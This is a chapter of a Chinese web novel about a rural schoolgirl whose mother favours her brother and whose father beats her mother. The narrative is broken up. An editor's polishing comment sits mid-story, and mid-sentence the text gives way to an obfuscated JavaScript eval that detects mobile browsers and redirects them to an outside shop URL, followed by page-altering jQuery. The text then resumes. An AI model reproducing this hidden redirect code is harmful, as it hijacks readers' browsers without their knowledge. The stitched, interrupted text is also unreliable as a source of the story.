期末考还有一个月，赵清背着书包走上了回家的路。
如今她每周都得回一次。每次她离开家，母亲那哀戚的眼神和拽住她衣袖的手，就像一道挣不脱的咒。学业是她不能舍弃的，可她却也狠不下心对母亲彻底置之不理，只好用这种折中的方式，在泥潭与理想的岸之间反复跋涉。
推开嘎吱作响的木门，昏暗的光线下，胡兰花正佝偻着坐在小凳上理菜。见她进来，脸上挤出一个疲惫的笑：“回来了？……怎么才到？”
“走路回来的。”赵清简短地答，“没钱坐车”。
胡兰花放下手里的菜，站起身：“你去后坡割点猪草把猪喂了，妈去煮饭。你弟弟玩累了回来要嚷饿的，他上学费神。你爸也快回了，见饭没做好，又该发火了。”
赵强发火是要打人的，母女俩都很怕她。
“天都快黑透了，看不清路。”赵清望向门外沉沉的暮色，“妈，我帮你做饭，今天先用干草喂猪对付一晚吧。”
“那哪行！”胡兰花声音急切起来，“青青，那猪眼看就要出栏了，喂干草不长膘，还得掉秤！咱家就指望着卖它的钱，给你弟弟过年添件新衣裳、交下学期的学费……听话，啊？”
赵清沉默地站在门边，望着最后一点天光被远山吞没。她没再争辩，甚至没放下肩上沉重的书包，只是转身取下墙角的背篓，默默走了出去。
她没有去后坡，而是拐进了自家油菜田。苗已长到小腿高，在渐浓的夜色里墨绿一片。她蹲下身，摸索着揪下底层那些泛黄的老叶，一捧一捧，拢进背篓。窸窣的声响在寂静的田里格外清晰。
“哟，是赵清啊？高中生回来啦！吃过了没，咋还摸黑打猪草呢？”路过的二婶提着篮子，嗓门敞亮。
赵清直起发酸的腰，应道：“二婶。还没吃，先把猪草弄了。”
“真是勤快娃！”二婶啧啧称赞，“读书回来还晓得帮屋里做事，不像我家三妹，回来就知道翻吃的，往床上一瘫，喊读书累！读书有啥累的？又不用扛锄头。赵清，你说读书累不？”
赵清垂下眼，拍了拍手上的泥：“读书不费力气，但费神。三妹那些书，本本都要记要背，耗脑子。”
“是嘞是嘞！”二婶恍然，“那些字小得我看一眼就头晕！难为娃娃了……我这就回去，给她煮俩鸡蛋补补！”
脚步声渐远。赵清站在田埂上，望着二婶消失在院落灯火里的背影，很久没动。
夜风带着寒意吹过，她轻轻打了个颤。
别人家的母亲，是会把鸡蛋留给费神读书女儿的。而她的母亲，只关心弟弟，甚至家里的猪都比她的地位高。
这段原文通过一顿家常饭，深刻揭示了家庭中复杂的权力关系与情感纠葛，细节真实，充满张力。润色将着力于增强行为的隐晦动机与无声交锋，并精细刻画每个人物的眼神与微动作，让这场家庭戏码更具戏剧感染力。
拾掇好猪草，赵清背着沉甸甸的背篓往回走。一背篓的油菜叶有多重？她没称过，只觉得比盛夏抢收的稻谷轻，比往返挑水浇菜的肩膀松快些。
推开虚掩的家门，饭桌上的三个人同时抬起头。父亲赵强和弟弟赵宝光瞥见她，眼神漠然地转了回去，继续扒饭。
“清清，你……你怎么打的是油菜叶？”胡兰花的声音带着惊愕，嘴巴张得老大。
“底下的叶子黄了，不打掉也得落。”赵清声音平静。
“怎么会黄呢？我平日去打……”胡兰花话说到一半，自己咽了回去。赵清不在时，她不想东一处西一处寻摸猪草，自然是去田里揪油菜叶子喂猪的。
赵清没接话，放下背篓去灶台边舀水洗手。水声哗啦，她眼角余光扫见母亲搁下碗，身子微微前倾，。
“爸，”赵清擦干手，抢先一步走过去，“我去给您盛饭。”
赵强有些诧异地看向这个一向沉默寡言的女儿，从鼻腔里发出的“嗯”。
那点满意的痕迹还没完全展开，他的目光便刀子似的转向了胡兰花，脸色瞬间沉了下来：“你个死婆娘！老子在外面累死累活，回来连口热饭都指望不上？你眼珠子是哦白长了！”
赵清看见胡兰花僵在原地，伸出一半的手讪讪地缩了回去。她看向自己的眼神复杂，惊愕，难堪，还有一丝恼怒。
赵清心里一片冰凉。
她记得清清楚楚，母亲曾拉着她的手叮嘱：“你爸不喜欢你，嫌你是赔钱货……你少往他跟前凑，少说话，免得惹他不高兴。”
她信了。这么多年，她像阴影一样缩在角落，努力降低自己的存在感。直到此刻，她才恍然看清，母亲那番话，并非全为保护她。那更像是一种圈划领地的警告——在这个家里，唯一有权对父亲示好、从而换取些许安宁的人，只能是母亲自己。
可笑吗？有点。但更多的是悲凉。赵清垂下眼，稳稳地将盛满的饭碗放到赵强面前。
如果亲近父亲，能让她少挨几次莫名其妙的拳头，能让这个家对她稍稍“宽容”一点——哪怕这宽容虚伪又廉价——那么，她不介意学着母亲的样子，去递上一碗饭。
生存的智慧，有时丑陋得让人心头发涩。她为自己盛了一碗饭，端起碗，没有理会她妈妈哀怨的目光，独自坐到了四方桌边，占领一方。
第二天一早，吃过饭，洗过碗，赵清背起背篓，对胡兰花说：“妈，我今天走远些，去山坡上打些好猪草。这样平时我不在，您就少揪点油菜叶，活能轻省些。”
胡兰花看了看墙角那盆堆得冒尖的脏衣服，想了想，这些可以等女儿回来再洗：“你去吧。”
赵清当然看见了那盆衣服。这几周都是这样，她周末回来，母亲就把攒了一周的脏衣服全推给她。
她背着背篓出了门。清晨的风吹在脸上，小腹却跟着脚步一坠一坠地疼。她又来例假了。这疼痛她太熟悉，每次都能让她疼得直不起腰，脸色煞白。而且量总是少得可怜，量少是和室友对比后得出的结论。
她记得寝室夜谈时，卫南亭说过的话：“女孩子不能多碰冷水，尤其冬天。咱们本来因为生理原因气血就弱，这时候碰冷水，寒气入体，以后每次都会更疼……严重了，还伤根本，会不孕的。”
伤根本。
她那时懵懂，却把这三个字记下了。她问过母亲，能不能那天不洗衣服。母亲当时正在剁猪草，头也没抬：“哪那么娇气？我从小就碰冷水呢，冬天也洗，不照样把你和你弟生得健健康
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997033|186557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
康？”
赵清没再多话。她看见过母亲自己偷偷熬红糖姜茶，捧着碗小口小口地喝，热气蒙住了她的脸。可母亲从来没在她特殊日子里，她疼得缩在床上时，为她端来过一碗。
所以母亲是知道的。知道冷水伤人，知道红糖姜茶能暖身子。只是那份温暖，从未分给她一丝一毫。
小腹又是一阵绞痛，赵清扶着树干，微微佝偻下背。阳光穿过稀疏的枝叶照下来，落在她冰凉的手上。
她想起卫南亭某次闲聊时说的话：“别人对你不好，你就更要对自己好。你的前程，你的健康，都得靠自己谋算。”
这话当时听着像一阵风吹过了，此刻却像颗种子，落在她冻土般的心底，硬生生要冒出一星绿意。她深吸一口气，直起身，朝山坡走去。今天天气很好，她找到一片向阳的空地，把背篓放下。
然后，她掀开背篓底部垫着的干草，从底下拿出了那本被她藏起来的物理书。
她在阳光下坐下，摊开书页。
阳光暖烘烘地照在背上，仿佛把那股从小腹蔓延开的寒意驱散了些，不那么疼了。
既然没人给她熬那碗红糖水。那她至少，暂时不碰冷水。
书页轻轻翻动，指尖划过一行行公式，她嘴唇翕动，默默背诵。田野寂静，阳光照在她身上，金灿灿的，还有暖风吹过。
她看一会儿书，割一会儿猪草，竟也觉得这样劳逸结合很快乐。阳光照在书页和草叶上，风穿过田野，她几乎忘了家里的腌臜事。
近中午时，背篓装满了。她收拾好东西往回走，在村尾碰见了熊二嫂。
“赵清！”熊二嫂急急拉住她，压低声音，“你快回去看看！你爸又在打你妈了，棍子都抡起来了！”
赵清脚步一顿，没立刻跑起来，反而先问：“熊二嫂，您看见我弟弟了吗？他去拉了吗？”
熊二嫂愣了愣：“这……我倒没留意。但你爸那脾气，谁敢上前拉呀？凶得跟阎王似的……”
“谢谢二嫂。”赵清点点头，道了谢。
等熊二嫂走远了，她没有如往常一样心急如焚，急匆匆回家，她的脚步甚至更慢了，一步一步，像在丈量这条走过许多遍、却永远不平的路。
回去能做什么呢？
像以前的无数次那样，扑上去，用自己单薄的身子挡住落下的棍棒，代替母亲承受怒火？然后换来父亲一句“赔钱货多管闲事”，和暴风雨般的打骂？以及母亲事后沉默的擦拭？
这个情景，她太熟悉了。
只是再长的路也有尽头，快到家门口时，院门大敞着。她看见赵强手里那根粗重的木棍，正高高扬起，狠狠砸在胡兰花弓起的背上。闷响混着压抑的哀鸣。
胡兰花瘫跪在门槛边，半边脸肿起，嘴角裂开，血混着唾沫往下淌。她死死扒着门框，手指关节绷得发白。
就在这时，她仿佛感应到什么，猛地转过头，浑浊的视线穿过凌乱的发丝，抓住了呆立在几步外的赵清。
那一刻，赵清看清了母亲眼中的情绪，那痛苦哀戚的眼神中有藏不住的怨恨，那眼神分明是在说。
你为什么才回来？！
你为什么，不早点回来替我挨打！！！